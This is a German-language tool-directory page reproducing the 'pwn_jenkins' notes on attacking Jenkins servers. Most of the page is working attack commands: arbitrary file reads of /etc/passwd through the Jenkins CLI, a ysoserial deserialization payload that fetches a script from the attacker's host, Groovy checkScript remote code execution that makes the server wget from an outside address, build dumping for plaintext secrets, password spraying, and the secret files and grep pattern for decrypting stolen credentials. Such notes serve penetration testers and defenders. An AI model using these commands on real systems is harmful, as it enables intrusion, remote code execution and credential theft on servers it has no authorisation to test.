Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
pwn_jenkins — Anmerkungen zum Angriff auf Jenkins-Server | Kitploit
Tools/GitHubGitHub/gquere/pwn_jenkins
PasswortangriffeSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPost-ExploitationPenetrationstestsSecret-ErkennungPayload-Entwicklung
GitHubgquere/pwn_jenkins

pwn_jenkins

Anmerkungen zum Angriff auf Jenkins-Server

2.1k32622vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

Remote Code Execution

Beliebiges Dateilesen über die Jenkins-CLI (CVE-2024-23897 betrifft Versionen unter 2.442 und LTS 2.426.3)

Jenkins-Sicherheitshinweis, Credits

Authentifiziert kann eine vollständige Datei ausgelesen werden:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"

Ohne Authentifizierung oder ohne Global/Read-Berechtigungen können nur 3 Zeilen gelesen werden: Erste Zeile lesen:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"

Zweite Zeile lesen:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"

Dritte Zeile lesen:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"

So kann der Verschlüsselungsschlüssel der Anmeldedaten per Brute-Force geknackt werden.

Deserialisierungs-RCE in alten Jenkins-Versionen (CVE-2015-8103, Jenkins 1.638 und älter)

Verwende ysoserial, um einen Payload zu erzeugen. Danach RCE mit diesem Skript:

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

Authentifizierungs-/ACL-Bypass (CVE-2018-1000861, Jenkins <2.150.1)

Jenkins-Sicherheitshinweis

Details hier.

Wenn die Jenkins-Instanz bei der folgenden Anfrage eine Authentifizierung verlangt, aber gültige Daten zurückgibt, ist sie verwundbar:

curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

RCE durch Metaprogrammierung in Jenkins-Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Jenkins-Sicherheitshinweis

Ursprüngliche RCE-Schwachstelle hier, vollständiger Exploit hier.

Alternative RCE mit Overall/Read- und Job/Configure-Berechtigungen hier.

CheckScript-RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Jenkins-Sicherheitshinweis, Credits.

Prüfe mit etwas Groovy, ob eine Jenkins-Instanz verwundbar ist (erfordert Overall/Read-Berechtigungen):

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

Hinweis: Falls du einen 403-Fehler wegen eines fehlenden Crumb erhältst (eine CSRF-Schutzmaßnahme in Jenkins), kannst du den Crumb-Wert möglicherweise mit einer GET-Anfrage an https://example.com/crumbIssuer/api/json abrufen. Der Crumb-Wert muss dann zur POST-Anfrage in einem Jenkins-Crumb-Header hinzugefügt werden.

Beliebige Bash-Befehle ausführen:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

Wenn du nicht sofort eine Reverse Shell erhältst, kannst du das Problem debuggen, indem du eine Exception auslöst:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

RCE im Git-Plugin (<3.12.0) in Jenkins (CVE-2019-10392)

Jenkins-Sicherheitshinweis, Credits.

Dies funktioniert nur, wenn ein Benutzer die Rechte 'Jobs/Configure' in der Sicherheitsmatrix besitzt, ist also sehr spezifisch.

CorePlague (CVE-2023-27898, CVE-2023-27905)

Jenkins-Sicherheitshinweis, Credits

Beachte, dass dies nur ausnutzbar ist, wenn ein dediziertes und veraltetes Update Center verwendet wird. Daher sind die meisten Server nicht verwundbar.

Builds auslesen, um Klartext-Geheimnisse zu finden

Verwende dieses Skript, um Build-Konsolenausgaben und Build-Umgebungsvariablen auszulesen und hoffentlich Klartext-Geheimnisse zu finden.

usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-l] [-r] [-d] [-s] [-v]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing
                        directories
  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                        each request (for legacy)
  -v, --verbose         Debug mode

Password Spraying

Verwende dieses Python-Skript oder dieses PowerShell-Skript.

Dateien, die nach einer Kompromittierung kopiert werden sollten

Diese Dateien werden benötigt, um Jenkins-Geheimnisse zu entschlüsseln:

  • secrets/master.key
  • secrets/hudson.util.Secret

Solche Geheimnisse finden sich normalerweise in:

  • credentials.xml
  • jobs/.../build.xml

Hier ist ein Regexp, um sie zu finden:

grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

LDAP-Anmeldedaten auf einer kompromittierten Maschine auslesen

Tool herunterladen